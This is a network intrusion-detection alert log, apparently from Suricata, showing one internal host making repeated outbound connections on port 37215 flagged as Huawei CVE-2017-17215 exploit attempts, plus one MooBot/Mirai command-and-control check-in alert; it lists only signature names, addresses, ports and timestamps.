ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.241.225.109

Timestamp:	2024-08-01T15:36:18.242512+0200
SID:	2835222
Source Port:	47306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 187.69.142.105

Timestamp:	2024-08-01T15:35:54.576884+0200
SID:	2835222
Source Port:	45638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.32.1.175

Timestamp:	2024-08-01T15:35:56.431311+0200
SID:	2835222
Source Port:	33776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.70.98.211

Timestamp:	2024-08-01T15:36:09.905366+0200
SID:	2835222
Source Port:	40378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.52.215.85

Timestamp:	2024-08-01T15:35:20.214168+0200
SID:	2835222
Source Port:	46658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.108.36.42

Timestamp:	2024-08-01T15:35:50.253703+0200
SID:	2835222
Source Port:	46556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.219.236.13

Timestamp:	2024-08-01T15:36:09.899623+0200
SID:	2835222
Source Port:	45250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.3.235.63

Timestamp:	2024-08-01T15:36:13.087527+0200
SID:	2835222
Source Port:	59196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.23.204.192

Timestamp:	2024-08-01T15:36:30.755512+0200
SID:	2835222
Source Port:	52618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 136.240.75.168

Timestamp:	2024-08-01T15:35:20.205779+0200
SID:	2835222
Source Port:	45016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 177.117.141.141

Timestamp:	2024-08-01T15:35:20.204288+0200
SID:	2835222
Source Port:	43696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.31.24.241

Timestamp:	2024-08-01T15:35:35.121140+0200
SID:	2835222
Source Port:	35484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.96.195.212

Timestamp:	2024-08-01T15:36:51.564730+0200
SID:	2835222
Source Port:	44962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 147.57.45.29

Timestamp:	2024-08-01T15:35:20.202748+0200
SID:	2835222
Source Port:	43028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.223.64.71

Timestamp:	2024-08-01T15:35:53.373428+0200
SID:	2835222
Source Port:	54332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.71.188.245

Timestamp:	2024-08-01T15:35:23.985548+0200
SID:	2835222
Source Port:	49568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.200.119.148

Timestamp:	2024-08-01T15:36:18.249426+0200
SID:	2835222
Source Port:	49376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 74.197.157.70

Timestamp:	2024-08-01T15:35:56.485424+0200
SID:	2835222
Source Port:	42768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.88.37.150

Timestamp:	2024-08-01T15:35:21.905547+0200
SID:	2835222
Source Port:	50658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.187.40.199

Timestamp:	2024-08-01T15:36:18.250491+0200
SID:	2835222
Source Port:	54132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.225.205.202

Timestamp:	2024-08-01T15:35:20.214979+0200
SID:	2835222
Source Port:	54618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.163.81.15

Timestamp:	2024-08-01T15:36:03.587857+0200
SID:	2835222
Source Port:	58232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.124.20

Timestamp:	2024-08-01T15:35:45.270462+0200
SID:	2835222
Source Port:	57426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.88.238.24

Timestamp:	2024-08-01T15:35:16.760200+0200
SID:	2835222
Source Port:	52692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.214.179.141

Timestamp:	2024-08-01T15:36:11.966349+0200
SID:	2835222
Source Port:	35600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 91.194.45.38

Timestamp:	2024-08-01T15:35:21.880917+0200
SID:	2835222
Source Port:	54614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.182.76.222

Timestamp:	2024-08-01T15:35:50.289335+0200
SID:	2835222
Source Port:	59788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.28.201.10

Timestamp:	2024-08-01T15:36:34.855523+0200
SID:	2835222
Source Port:	33434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.123.14

Timestamp:	2024-08-01T15:35:37.222060+0200
SID:	2835222
Source Port:	60324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.154.158.35

Timestamp:	2024-08-01T15:35:43.304774+0200
SID:	2835222
Source Port:	35376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.38.15

Timestamp:	2024-08-01T15:35:50.289720+0200
SID:	2835222
Source Port:	48234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.107.167.38

Timestamp:	2024-08-01T15:35:50.299579+0200
SID:	2835222
Source Port:	46510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.86.147.45

Timestamp:	2024-08-01T15:35:20.207254+0200
SID:	2835222
Source Port:	38384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.153.164

Timestamp:	2024-08-01T15:35:37.292975+0200
SID:	2835222
Source Port:	56412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.98.36.78

Timestamp:	2024-08-01T15:36:30.753312+0200
SID:	2835222
Source Port:	51320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.84.95.214

Timestamp:	2024-08-01T15:36:11.953774+0200
SID:	2835222
Source Port:	50854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.52.183.71

Timestamp:	2024-08-01T15:36:40.246322+0200
SID:	2835222
Source Port:	37322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.43.122.94

Timestamp:	2024-08-01T15:35:17.144677+0200
SID:	2835222
Source Port:	47550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.110.209.130

Timestamp:	2024-08-01T15:36:34.903492+0200
SID:	2835222
Source Port:	47424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.85.142.182

Timestamp:	2024-08-01T15:35:21.879250+0200
SID:	2835222
Source Port:	47842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 77.167.204.16

Timestamp:	2024-08-01T15:35:35.138987+0200
SID:	2835222
Source Port:	44222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.239.57.146

Timestamp:	2024-08-01T15:35:37.221208+0200
SID:	2835222
Source Port:	58878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.111.189.64

Timestamp:	2024-08-01T15:35:50.253834+0200
SID:	2835222
Source Port:	41760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.242.5.16

Timestamp:	2024-08-01T15:36:20.314247+0200
SID:	2835222
Source Port:	42834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.84.220.21

Timestamp:	2024-08-01T15:36:16.166693+0200
SID:	2835222
Source Port:	56238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.169.242.139

Timestamp:	2024-08-01T15:35:54.508742+0200
SID:	2835222
Source Port:	54320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 106.225.197.226

Timestamp:	2024-08-01T15:36:52.802593+0200
SID:	2835222
Source Port:	54932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.186.9.210

Timestamp:	2024-08-01T15:36:26.649283+0200
SID:	2835222
Source Port:	51574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.180.101.63

Timestamp:	2024-08-01T15:35:17.111004+0200
SID:	2835222
Source Port:	57376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.35.157.223

Timestamp:	2024-08-01T15:35:40.223392+0200
SID:	2835222
Source Port:	46588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.14.196.60

Timestamp:	2024-08-01T15:35:32.995369+0200
SID:	2835222
Source Port:	48570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 104.242.171.149

Timestamp:	2024-08-01T15:35:40.242217+0200
SID:	2835222
Source Port:	59432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 151.133.53.213

Timestamp:	2024-08-01T15:36:42.202631+0200
SID:	2835222
Source Port:	34416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 150.150.233.120

Timestamp:	2024-08-01T15:36:09.904382+0200
SID:	2835222
Source Port:	54208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 143.240.201.245

Timestamp:	2024-08-01T15:36:11.950825+0200
SID:	2835222
Source Port:	50602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 124.100.203.116

Timestamp:	2024-08-01T15:36:16.170798+0200
SID:	2835222
Source Port:	56744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.81.182.25

Timestamp:	2024-08-01T15:35:17.058664+0200
SID:	2835222
Source Port:	52814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.47.145.240

Timestamp:	2024-08-01T15:36:09.901183+0200
SID:	2835222
Source Port:	44424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.148.178.70

Timestamp:	2024-08-01T15:36:49.822490+0200
SID:	2835222
Source Port:	42198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.254.73.187

Timestamp:	2024-08-01T15:36:57.616723+0200
SID:	2835222
Source Port:	39348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.229.191.118

Timestamp:	2024-08-01T15:35:20.206038+0200
SID:	2835222
Source Port:	44120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.1.186.179

Timestamp:	2024-08-01T15:36:14.842383+0200
SID:	2835222
Source Port:	51074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 128.129.19.13

Timestamp:	2024-08-01T15:36:29.402726+0200
SID:	2835222
Source Port:	55480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.78.70.34

Timestamp:	2024-08-01T15:35:54.680354+0200
SID:	2835222
Source Port:	51238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.24.216.84

Timestamp:	2024-08-01T15:36:09.886622+0200
SID:	2835222
Source Port:	34614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.239.31.161

Timestamp:	2024-08-01T15:35:50.304961+0200
SID:	2835222
Source Port:	36450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.245.185.224

Timestamp:	2024-08-01T15:35:21.884461+0200
SID:	2835222
Source Port:	49598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.143.87.75

Timestamp:	2024-08-01T15:36:32.783083+0200
SID:	2835222
Source Port:	56992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 163.98.100.231

Timestamp:	2024-08-01T15:35:17.163641+0200
SID:	2835222
Source Port:	36142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 44.225.135.135

Timestamp:	2024-08-01T15:35:50.305321+0200
SID:	2835222
Source Port:	52414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.29.157.1

Timestamp:	2024-08-01T15:36:18.262845+0200
SID:	2835222
Source Port:	33782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.91.165.77

Timestamp:	2024-08-01T15:35:20.203052+0200
SID:	2835222
Source Port:	40542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:35.639510+0200
SID:	2030490
Source Port:	46812
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 168.234.4.56

Timestamp:	2024-08-01T15:35:16.666167+0200
SID:	2835222
Source Port:	60932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.7.43.51

Timestamp:	2024-08-01T15:36:09.888838+0200
SID:	2835222
Source Port:	41350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.190.151.153

Timestamp:	2024-08-01T15:36:14.855072+0200
SID:	2835222
Source Port:	53964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.74.71.215

Timestamp:	2024-08-01T15:35:54.482909+0200
SID:	2835222
Source Port:	60386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.68.36.93

Timestamp:	2024-08-01T15:35:56.809324+0200
SID:	2835222
Source Port:	44254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.168.208.22

Timestamp:	2024-08-01T15:35:21.909065+0200
SID:	2835222
Source Port:	59596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.44.207.33

Timestamp:	2024-08-01T15:35:58.618227+0200
SID:	2835222
Source Port:	34080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.185.59.229

Timestamp:	2024-08-01T15:36:30.755442+0200
SID:	2835222
Source Port:	54028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 191.11.246.174

Timestamp:	2024-08-01T15:35:21.852498+0200
SID:	2835222
Source Port:	57486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 27.78.66.10

Timestamp:	2024-08-01T15:35:48.348448+0200
SID:	2835222
Source Port:	47618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.14.36.173

Timestamp:	2024-08-01T15:36:06.688084+0200
SID:	2835222
Source Port:	55318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 193.124.94.138

Timestamp:	2024-08-01T15:36:13.212384+0200
SID:	2835222
Source Port:	51006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 79.196.100.247

Timestamp:	2024-08-01T15:35:20.205145+0200
SID:	2835222
Source Port:	34936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.204.140.31

Timestamp:	2024-08-01T15:35:40.226976+0200
SID:	2835222
Source Port:	60346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 166.169.83.193

Timestamp:	2024-08-01T15:35:21.909790+0200
SID:	2835222
Source Port:	39218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.197.244

Timestamp:	2024-08-01T15:35:43.461415+0200
SID:	2835222
Source Port:	42616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.222.255.238

Timestamp:	2024-08-01T15:36:01.508634+0200
SID:	2835222
Source Port:	35420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.57.103.130

Timestamp:	2024-08-01T15:35:20.210408+0200
SID:	2835222
Source Port:	34712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 161.127.172.23

Timestamp:	2024-08-01T15:36:42.169587+0200
SID:	2835222
Source Port:	38992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.142.158.108

Timestamp:	2024-08-01T15:35:20.545511+0200
SID:	2835222
Source Port:	60328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.11.168.106

Timestamp:	2024-08-01T15:36:26.573015+0200
SID:	2835222
Source Port:	45398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.230.78.83

Timestamp:	2024-08-01T15:36:18.281793+0200
SID:	2835222
Source Port:	51012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.180.178.15

Timestamp:	2024-08-01T15:36:39.137334+0200
SID:	2835222
Source Port:	56376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.117.26.248

Timestamp:	2024-08-01T15:36:49.825943+0200
SID:	2835222
Source Port:	34604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.130.209.143

Timestamp:	2024-08-01T15:35:16.861025+0200
SID:	2835222
Source Port:	41178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.196.75.206

Timestamp:	2024-08-01T15:36:14.905364+0200
SID:	2835222
Source Port:	42590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

